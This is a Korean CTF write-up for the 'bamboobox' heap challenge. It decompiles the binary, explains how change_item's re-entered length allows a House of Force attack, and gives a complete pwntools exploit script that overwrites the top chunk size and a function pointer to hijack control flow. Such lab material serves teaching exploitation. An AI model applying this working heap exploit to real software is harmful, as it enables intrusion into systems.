문제


bamboobox 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

file 명령어의 결과는 다음과 같다.

bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped

바이너리 코드

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
...
  v3 = malloc(0x10uLL);
  *v3 = hello_message;
  v3[1] = goodbye_message;
  ((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

add_item()

__int64 add_item()
{
...
 
  else
  {
    printf("Please enter the length of item name:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !qword_6020C8[2 * i] )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        qword_6020C8[2 * i] = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(qword_6020C8[2 * i] + (signed int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

change_item()

unsigned __int64 change_item()
{
...
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( qword_6020C8[2 * v2] )
    {
      printf("Please enter the length of item name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name of the item:", &nptr);
      *(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

add_item() 함수에서는 할당받을 chunk의 크기를 입력 받고 해당 chunk에 item 이름을 입력 받는다. (chunk의 크기 만큼 문자열을 입력할 수 있다.)
itemlist는 chunk의 크기 (8byte), chunk의 주소 (8byte)로 구성된다.
change_item() 함수에서는 선택한 itemlist 항목의 item 이름을 변경한다. 그런데 이 때 입력 받을 문자열의 길이를 다시 입력으로 받는다. 이를 통해서 top chunk의 size 영역을 overwrite 할 수 있다. (the house of force 공격이 가능)

exploit 방법

  1. change_item() 함수를 통해서 top chunk의 size 영역에 0xffffffffffffffff을 overwrite 한다.
  2. add_item() 함수를 통해서 -(새로 할당될 chunk의 주소 - (main() 함수에서 v3에 할당된 chunk의 주소 - 16) ) 크기 만큼 chunk를 할당한다.
  3. add_item() 함수를 통해서 16 바이트 크기의 chunk를 할당하면 v3 영역이 할당 된다.
  4. change_item() 함수를 통해서 v3[1]을 magic 함수의 주소로 바꾼 후 v3[1]을 호출한다.

주의할 점1
메모리 구조는 다음과 같다.

------------------
Not allocated
------------------
Heap base
------------------
Topchunk
------------------

the house of force 공격을 할 때 매우 큰 크기의 chunk를 할당할 때 top chunk의 size, prev_size 같은 것들이 Not allocated 영역 (write 권한이 없는 영역일 때)에 write 되지 않도록 크기를 잘 계산하자.

주의할 점2
the house of force 공격을 할 때 매우 큰 크기의 chunk를 할당한 이후에 top chunk의 크기가 적절히 남도록 주의하자.

예를 들어서 큰 할당 이후 top chunk가 0x38 남았을 때 내가 0x20 만큼 할당받으려고 하면 top chunk가 너무 조금 남아서 top chunk를 확장하려고 하는데 이때 malloc에서 sigabrt 에러가 발생한다. (내가 top chunk에 이상한 짓을 한 이후에 top chunk를 확장하려고 하는 상황에서 뭔가가 꼬이는 듯)

풀이


#!/usr/bin/python

from pwn import *

def add_item(length,pay):
	p.recvuntil("choice:")
	p.send("2")
	p.recvuntil("name:")
	p.send(length)
	p.recvuntil("item:")
	p.send(pay)

def chan_item(index,length,pay):
	p.recvuntil("choice")
	p.send("3")
	p.recvuntil("item:")
	p.send(index)
	p.recvuntil("name:")
	p.send(length)
	p.recvuntil("item:")
	p.send(pay)

file_path="/home/sungyun/round4/lab11/bamboobox"

p=process(file_path)

add_item("16","house_of_force")
add_item("16","hmm..")

pay="A"*16+"\x00"*8
pay+="\xff\xff\xff\xff\xff\xff\xff\xff"

chan_item("1","32",pay)

add_item("-112","hi_3ffr3s")
add_item("16","exploit!")

pay2="A"*8
pay2+=p64(0x400d49) #magic

chan_item("3","16",pay2)

p.recvuntil("choice:")
p.send("5")

p.interactive()